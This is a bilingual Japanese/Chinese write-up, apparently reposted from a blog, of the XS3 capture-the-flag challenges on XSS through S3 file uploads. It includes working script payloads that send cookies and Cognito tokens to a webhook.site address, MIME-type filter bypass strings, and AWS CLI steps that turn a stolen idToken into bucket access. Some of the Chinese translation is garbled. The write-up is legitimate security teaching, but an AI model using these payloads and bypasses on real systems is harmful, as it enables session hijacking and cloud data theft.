XSSとS3を題材にしたCTFのようです。 它似乎是基于 XSS 和 S3 的 CTF。
Introduction, Validation Bypass, Logic Bug, Advanced, Specialという難易度(?)設定がありました。
简介、验证绕过、逻辑错误、高级、特殊难度级别 (?) 有一个设置。
5位でした。 它排在第 5 位。
Introduction 介绍
Welcome Flag 欢迎旗帜
Welcome問題です。 欢迎问题。
表示されるフラグを提出するのみ。 仅提交显示的标志。
flag{welcome_2_xs3}
Server Side Upload 服务器端上传
Webアプリケーションとクローラーのソースコードが渡されます。
传递 Web 应用程序和爬网程序的源代码。
WebアプリケーションはアップロードフォームとクローラーにアクセスさせるURLを報告するフォームがあります。
Web 应用程序具有一个上传表单和一个报告爬网程序要访问的 URL 的表单。
特にソースコードを気にすることもなく下記のようなHTMLをアップロードした後、URLをクローラーに報告すればフラグ付きでアクセスしてくれました。
在上传了以下 HTML 而不用担心源代码后,我向爬虫报告了 URL,并使用标志对其进行了访问。
<html>
<body>
<script>
const c = btoa(document.cookie);
fetch("https://webhook.site/89fb3de1-73b3-4344-a625-121bbeab850a?rikoteki="+c);
</script>
</body>
</html>
flag{bfe061955a7cf19b12ff0f224e88d65a470e800a}
Pre Signed Upload 预签名上传
クローラーのソースコードは変更が無いようでWebアプリケーションのソースコードのみが渡されます。
爬虫的源代码似乎没有变化,只传递了 Web 应用程序的源代码。
Webアプリケーションの画面も1問目と変わりません。
Web 应用程序的屏幕与第一个问题相同。
1問目同様HTMLをアップロードしようとすると拒否されます。
与第一个问题一样,如果您尝试上传 HTML,它将被拒绝。
Failed to get presigned URL
ソースコードを確認すると、/api/upload
へのリクエストでcontentTypeによるフィルタがあります。
如果你看一下源代码,你会看到对的请求 /api/upload
是按 contentType 过滤的。
リクエストボディ 请求正文
{"contentType":"text/html","length":186}
ソースコードのフィルタ部分 过滤部分源代码
const allow = ['image/png', 'image/jpeg', 'image/gif'];
if (!allow.includes(request.body.contentType)) {
return reply.code(400).send({ error: 'Invalid file type' });
}
ただし、このリクエスト後に発生する署名付きURLを使用したアップロード時にはContent-Typeのチェックがされていないので/api/upload
へのリクエストのcontentTypeを許可されたものに書き換えるだけでアップロードが可能になります。
但是,使用此请求之后出现的预签名 URL 进行上传时,不会选中 Content-Type,因此只需将请求的 contentType 更改为允许的 content Type /api/upload
即可上传。
{"contentType":"image/png","length":186}
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{fc6f76dd4368e888c1bc878b7750b374c891639f}
POST Policy POST 政策
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
今回の問題はファイルタイプをクライアント側でも検証している模様。
这个问题似乎也在客户端验证文件类型。
Invalid file type
かつ、問題名からもPost Policyを用いてContent-Typeを制限している模様。
此外,从问题名称来看,似乎 Content-Type 受到 Post Policy 的限制。
ただし、starts-with
を使用しているのでimage
から開始していれば何でも許可される。
但是,由于我们 starts-with
使用的是 ,只要 image
以 开头,任何事情都是允许的。
const filename = uuidv4();
const s3 = new S3Client({});
const { url, fields } = await createPresignedPost(s3, {
Bucket: process.env.BUCKET_NAME!,
Key: `upload/${filename}`,
Conditions: [
['content-length-range', 0, 1024 * 1024 * 100],
['starts-with', '$Content-Type', 'image'],
],
Fields: {
'Content-Type': request.body.contentType,
},
Expires: 600,
});
return reply.header('content-type', 'application/json').send({
url,
fields,
});
Content-Typeをブラウザに推測させるため、適当な文字列を設定してみるとHTMLとして参照することができました。
为了将 Content-Type 推断到浏览器,我能够通过设置适当的字符串将其称为 HTML。
{"contentType":"imageaaaa","length":186}
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{c137e5b9b7afd4b13a15839a26153940beeefc7d}
Validation Bypass 验证绕过
Is the end safe?
终点安全吗?
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
Content-Typeの検証はimage/png
、image/jpeg
、image/jpg
のどれかで終端していることをチェックしている模様。
对 Content-Type 的验证似乎会检查 image/png
它是否在 image/jpeg
、 image/jpg
之一处终止。
const contentTypeValidator = (contentType: string) => {
if (contentType.endsWith('image/png')) return true;
if (contentType.endsWith('image/jpeg')) return true;
if (contentType.endsWith('image/jpg')) return true;
return false;
};
if (!contentTypeValidator(request.body.contentType)) {
return reply.code(400).send({ error: 'Invalid file type' });
}
Content-Typeはtext/html;KEY=VALUE
のようにかけるのでVALUE
部分にimage/png
を入力することで検証をバイパスできるのではと考えてたらアップロードに成功しました。
由于 content-type 的应用方式为 text/html;KEY=VALUE
,我以为我可以通过 image/png
输入 VALUE
零件来绕过验证,但我成功上传了。
text/html;x=image/png
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{97ce55c30c8dc3a34cd73bbf3f49c2bb15a89617}
Just included? 刚刚包括在内?
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
Content-Typeの検証は、;
が含まれていない、かつimage/(jpg|jpeg|png|gif)$
の正規表現に当てはまるものかをチェックしています。
Content-Type 验证检查它是否不 ;
包含,以及它是否与正则表达式匹配 image/(jpg|jpeg|png|gif)$
。
if (request.body.contentType.includes(';')) {
return reply.code(400).send({ error: 'No file type (only type/subtype)' });
}
const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
if (!allow.test(request.body.contentType)) {
return reply.code(400).send({ error: 'Invalid file type' });
}
色々探していると下記URLにContent-Typeの区切り文字としてスペースも使えそうなことがわかりました。
当我寻找各种东西时,我发现我可以在以下 URL 中使用空格作为内容类型分隔符。
content-type-research/XSS.md 在 master ·BlackFan/内容类型研究
内容类型研究。通过在 GitHub 上创建帐户,为 BlackFan/content-type-research 开发做出贡献。
以下のContent-Typeでアップロードが成功し、HTMLとして参照することができました。
使用以下 Content-Type 成功上传,我能够将其引用为 HTML。
text/html image/png
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{acc9b4786f6bf003a75f32b5607c92530dcf6b9f}
forward priority… 前向优先…
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
Content-Typeの検証は、allowContentTypes
のいずれかで開始、終端されているかチェックしている模様。
Content-Type 验证似乎检查它是在 allowContentTypes
.
文字列の開始、終端以外は自由が有りますね。 除了字符串的开头和结尾之外,还有自由。
const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];
const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
if (isAllowContentType.length === 0) {
return reply.code(400).send({ error: 'Invalid file type' });
}
色々探しているとfetch standard下記URLのThis is how extract a MIME type functions in practice:
のテーブル一番目の例が使えそうだと思いました。
当我在寻找各种东西时,我认为可以使用以下 URL 处的 fetch 标准表的第一个示例 This is how extract a MIME type functions in practice:
。
一部Is the end safe?
で使ったテクニックも使って下記のようなContent-Typeにすることでアップロードが成功し、HTMLとして参照することができました。
通过使用某些方法中使用 Is the end safe?
的技术并将其设置为以下 Content-Type,上传成功,我能够将其称为 HTML。
image/jpg,text/html;charset=UTF-8,text/html;charset=image/jpg
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{f9eedd5f8b508ff8b03b803affb00d381826047b}
Logic Bag 逻辑包
Content extension 内容扩展
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
Content-Typeの検証は[\s\;()]
の正規表現にマッチする、またはallowExtension
以外の拡張子を弾いているようです。
Content-Type 的验证似乎与 的正则表达式 [\s\;()]
匹配,或者播放 或 以外的扩展 allowExtension
。
[\s\;()]
の部分でContent-Typeの区切り文字が制限されています。
[\s\;()]
Content-Type 分隔符受到限制。
const denyStringRegex = /[\s\;()]/;
if (denyStringRegex.test(request.body.extention)) {
return reply.code(400).send({ error: 'Invalid file type' });
}
const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];
const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
if (!isAllowExtention) {
return reply.code(400).send({ error: 'Invalid file extention' });
}
forward priority...
で利用したテクニックがここでも利用できそうです。
forward priority...
似乎这里使用的技术也可以使用。
カンマで区切って最後にtext/html
をつけてやると後ろのContent-Typeとして参照される模様。
如果用逗号分隔它们并在 text/html
末尾添加一个,它似乎被称为后面的 Content-Type。
{
"extention": "png,text/html"
"length": 186
}
アップロードが成功しHTMLとして参照することができました。
上传成功,我能够将其引用为 HTML。
image/aaaa,text/html,bbbb,png
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{b1b3fcx5f8b508ff8b03b803affb00d381826047b}
もし正規表現でカンマ,
が制限されててもJSON配列をextension
として渡したら検証をバイパスできそう。
即使逗号在正则表达式中 ,
受到限制,如果将 JSON 数组传递 extension
为 ,也可以绕过验证。
includes
は配列に対しても効くし、JSONを文字列化するとカンマ区切りの文字列になる。
includes
也适用于数组,字符串化 JSON 会导致逗号分隔的字符串。
{
"extention": [
"png",
"text/html"
],
"length": 186
}
Advanced 高深
sniff? 闻?
Webアプリケーションのソースコード有り、クローラーの実装は変更無し、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,爬虫的实现没有改变,Web 应用程序的屏幕没有改变。
Content-Typeの検証は、以下の条件でチェックしている模様。
在以下情况下,似乎检查了内容类型验证。
[;,="\'()]
の正規表現にマッチしたら拒否[;,="\'()]
如果正则表达式匹配,则拒绝image
で開始していなかったら拒否image
如果开头不是,则拒绝contentType
を/
で区切りサブタイプが画像系の拡張子でなければ拒否
contentType
如果子类型不是图像扩展名,则以 和 分隔 分隔/
const denyStrings = new RegExp('[;,="\'()]');
if (denyStrings.test(request.body.contentType)) {
return reply.code(400).send({ error: 'Invalid content type' });
}
if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
return reply.code(400).send({ error: 'Invalid image type' });
}
かつS3のPutObjectCommand
には/
で区切った0番目の値と1番目の値がそれぞれtype/subtypeとして設定されています。
在 S3 中 PutObjectCommand
,第 0 个值和分隔 /
为 1 个值分别设置为 type/subtype。
const command = new PutObjectCommand({
Bucket: process.env.BUCKET_NAME,
Key: `upload/${filename}`,
ContentType: `${request.body.contentType.split('/')[0]}/${request.body.contentType.split('/')[1]}`,
});
これはガチャガチャやってたら解けた問題で、下記のようなContent-Typeでアップロードが成功し、HTMLとして参照することができました。
如果我在玩扭蛋扭蛋,这是一个我可以解决的问题,并且我能够使用以下 Content-Type 成功上传并将其称为 HTML。
image text%2fhtml test/png
(%2f
が/
として認識されたのかMIME Sniffingさせてしまったのか…)
%2f
(被识别 /
为MIME或MIME嗅探……
アップロードが成功したら1問目と同様の手順でフラグが取得できます。
如果上传成功,您可以按照与第一个问题相同的过程获取标志。
flag{c4ca4238a0b923820dcc509a6f75849b}
GEToken GEToken(吉托肯酒店)
Webアプリケーションのソースコード有り、Webアプリケーションの画面も変更はありません。
有 Web 应用程序的源代码,并且 Web 应用程序的屏幕保持不变。
クローラーの変更が有り、Cognitoの認証情報をlocalStorageに保存した状態で報告したURLにアクセスしに来るようです。
爬虫发生了变化,似乎它会使用存储在 localStorage 中的 Cognito 身份验证信息来访问报告的 URL。
await page.evaluate(
(IdToken: string, AccessToken: string, RefreshToken: string) => {
const randomNumber = Math.floor(Math.random() * 1000000);
localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.idToken`, IdToken);
localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.accessToken`, AccessToken);
localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.refreshToken`, RefreshToken);
},
IdToken,
AccessToken,
RefreshToken,
);
Content-Typeの検証は以下のような感じです。
Content-Type 验证如下所示:
;
でMIME typeに分割;
按 MIME 类型拆分/
でtype,subtypeに分割、LowerCaseに変換
/
拆分为类型、子类型并转换为小写- type,subtypeいずれかが
[;,="\'()]
にマッチしたら拒否
如果[;,="\'()]
类型或子类型匹配,则拒绝 - subtypeは
html, javascript, xml, json, svg, xhtml, xsl
を含んでいたら拒否
如果子类型包含,html, javascript, xml, json, svg, xhtml, xsl
则拒绝
const [contentType, ...params] = request.body.contentType.split(';');
const type = contentType.split('/')[0].toLowerCase();
const subtype = contentType.split('/')[1].toLowerCase();
const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];
if (denyMimeSubTypes.includes(subtype)) {
return reply.code(400).send({ error: 'Invalid file type' });
}
const denyStrings = new RegExp('[;,="\'()]');
if (denyStrings.test(type) || denyStrings.test(subtype)) {
return reply.code(400).send({ error: 'Invalid Type or SubType' });
}
sniff?
で使用したような下記の文字列を送信することでアップロードに成功しました。
sniff?
通过发送以下字符串(如 中使用的字符串)成功上传。
text%2fhtml / image%2fpng
が、ブラウザで参照するとファイルとしてダウンロードされる挙動になっており、XSSには至っていませんでした。
但是,在浏览器中查看时,它被下载为文件,并且没有到达 XSS。
アップロードの際のリクエストを見直すとContent-Disposition: attachment
がついておりこれが原因のようです。
如果您在上传时查看请求,这似乎是 Content-Disposition: attachment
原因。
幸い署名対象のヘッダにContent-Dispositionは含まれていなかったため、Content-Disposition: inline
に改変して再度アップロードするとXSSが発火しました。
幸运的是,要签名的标题不包含 Content-Disposition,所以当我将其更改 Content-Disposition: inline
为并再次上传时,XSS 触发了。
const url = await getSignedUrl(s3, command, {
expiresIn: 60 * 60 * 24,
signableHeaders: new Set(['content-type']),
});
クローラーが変更されているためCognitoの認証情報をlocalStorageから取得するように変更したHTMLをアップロードします。
由于爬网程序已被修改,因此上传修改后的 HTML 以从 localStorage 检索 Cognito 的凭证。
<html>
<body>
<script>
let cred = "";
Object.keys(localStorage).forEach(k => {
cred += `${k}:${localStorage[k]},`
})
fetch("https://webhook.site/89fb3de1-73b3-4344-a625-121bbeab850a?rikoteki="+cred);
</script>
</body>
</html>
取得したidToken
の中にフラグが入ってました。
idToken
检索到的 .
flag{c81e728d9d4c2f636f067f89cc14862c}
frame 框架
Webアプリケーションのソースコード有り、クローラーの実装は変更無し。
有 Web 应用程序的源代码,爬虫的实现没有改变。
Webアプリケーションの画面に変更が有り、アップロードしたファイルをiframeで参照できる機能が付きました。
Web 应用程序的屏幕发生了变化,并且有一个功能允许您在 iframe 中引用上传的文件。
アップロードしたファイルの参照URLは/viewer/upload/{ID}
となります。
上传文件 /viewer/upload/{ID}
的引用 URL 为 。
各リンクをクリックするとiframe内に画像が表示されます。
单击每个链接以查看 iframe 中的图像。
今回はContent-Typeの検証はなさそうでなんの形式のファイルでもアップロードできる模様。
这一次,似乎没有对 Content-Type 进行验证,似乎可以上传任何格式文件。
ただし、署名対象のヘッダにContent-Disposition
が追加されており、attachment
に設定されていました。
但是,已 Content-Disposition
添加到要签名的标头中,并 attachment
设置为 .
まあiframeを利用するので… 好吧,既然它使用了 iframes……
const url = await getSignedUrl(s3, command, {
expiresIn: 60 * 60 * 24,
signableHeaders: new Set(['content-type', 'content-disposition']),
});
~~~~~~~~~
const command = new PutObjectCommand({
Bucket: process.env.BUCKET_NAME,
Key: `upload/${filename}`,
ContentLength: request.body.length,
ContentType: request.body.contentType,
ContentDisposition: 'attachment',
});
どうやらアップロードしたファイルを開く側のエンドポイント側にContent-Typeの検証がある模様。
显然,在上传文件打开端的端点端有一个 Content-Type 验证。
isDenyMimeSubType
関数で呼ばれるextractMimeType
関数はContent-Typeを/
で分割しており、分割後の値に対してinclude
でチェックしているので適当な値でバイパスできそうです。
isDenyMimeSubType
该函数调用的 extractMimeType
函数将 Content-Type /
除以 ,并用 检查 include
拆分后的值,因此似乎可以用适当的值绕过它。
text/html aaaa
const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];
const extractMimeType = (contentTypeAndParams) => {
const [contentType, ...params] = contentTypeAndParams.split(';');
console.log(`Extracting content type: ${contentType}`);
console.log(`Extracting params: ${JSON.stringify(params)}`);
const [type, subtype] = contentType.split('/');
console.log(`Extracting type: ${type}`);
console.log(`Extracting subtype: ${subtype}`);
return { type, subtype, params };
};
const isDenyMimeSubType = (contentType) => {
console.log(`Checking content type: ${contentType}`);
const { subtype } = extractMimeType(contentType);
return denyMimeSubTypes.includes(subtype.trim().toLowerCase());
};
window.onload = async () => {
const url = new URL(window.location.href);
const path = url.pathname.slice(1).split('/');
path.shift();
const key = path.join('/');
console.log(`Loading file: /${key}`);
const response = await fetch(`/${key}`);
if (!response.ok) {
console.error(`Failed to load file: /${key}`);
document.body.innerHTML = '<h1>Failed to load file</h1>';
return;
}
const contentType = response.headers.get('content-type');
if (isDenyMimeSubType(contentType)) {
console.error(`Failed to load file: /${key}`);
document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
return;
}
const blobUrl = URL.createObjectURL(await response.blob());
document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;
};
あとは、iframeからのCookie窃取となるのでHTMLを多少修正してアップロードすればフラグが取得できます。
之后,它将从 iframe 中窃取 cookie,因此您可以通过稍微修改 HTML 并上传它来获取标志。
<html>
<body>
<script>
const c = btoa(window.parent.document.cookie);
fetch("https://webhook.site/89fb3de1-73b3-4344-a625-121bbeab850a?rikoteki="+c);
</script>
</body>
</html>
flag{d41d8cd98f00b204e9800998ecf8427e}
Special 特殊
I am … 我是。。。
GETokenで取得したCognitoの認証情報を使ってS3からフラグを取得する問題です。
这是使用 GEToken 获取的 Cognito 凭证从 S3 检索标志的问题。
この問題は各種ドキュメントをあさりながら実行していきました。
这个问题是通过搜索各种文档来解决的。
GETokenで取得したidTokenを使用してidentityIdの取得
使用 GEToken 获取的 idToken 获取 identityId
aws cognito-identity get-id \
--identity-pool-id ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d \
--logins {ISS}={IDTOKEN} \
--query "IdentityId"
"ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d"
identityIdを使用したアクセスキーの取得
使用 identityId 检索访问密钥
aws cognito-identity get-credentials-for-identity \
--identity-id ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d \
--logins {ISS}={IDTOKEN}
{
"IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d",
"Credentials": {
"AccessKeyId": "REDACTED",
"SecretKey": "REDACTED",
"SessionToken": "REDACTED",
"Expiration": "2024-04-03T09:29:10+09:00"
}
}
アクセスキーなどを環境変数に設定 设置访问密钥和其他环境变量
export AWS_ACCESS_KEY_ID=REDACTED
export AWS_SECRET_ACCESS_KEY=REDACTED
export AWS_SECURITY_TOKEN="REDACTED"
S3にアクセス成功 已成功访问 S3
specialflagbucket
が見える。 specialflagbucket
可以看出。
aws s3 ls
2024-03-24 19:01:16 cdk-hnb659fds-assets-339713032412-ap-northeast-1
2024-03-24 22:36:30 deliverybucket-5250c0a74f-adv-3-delivery
2024-03-25 14:05:29 specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-24 22:36:30 uploadbucket-5250c0a74f-adv-3-upload
ダウンロード 下载
aws s3 sync s3://specialflagbucket-5250c0a74f-adv3-special-flag ./flag.txt
download: s3://specialflagbucket-5250c0a74f-adv3-special-flag/flag.txt to flag.txt/flag.txt
フラグ
flag{eccbc87e4b5ce2fe28308fd9f2a7baf3}
原文始发于rikoteki’s note:XS3 Writeup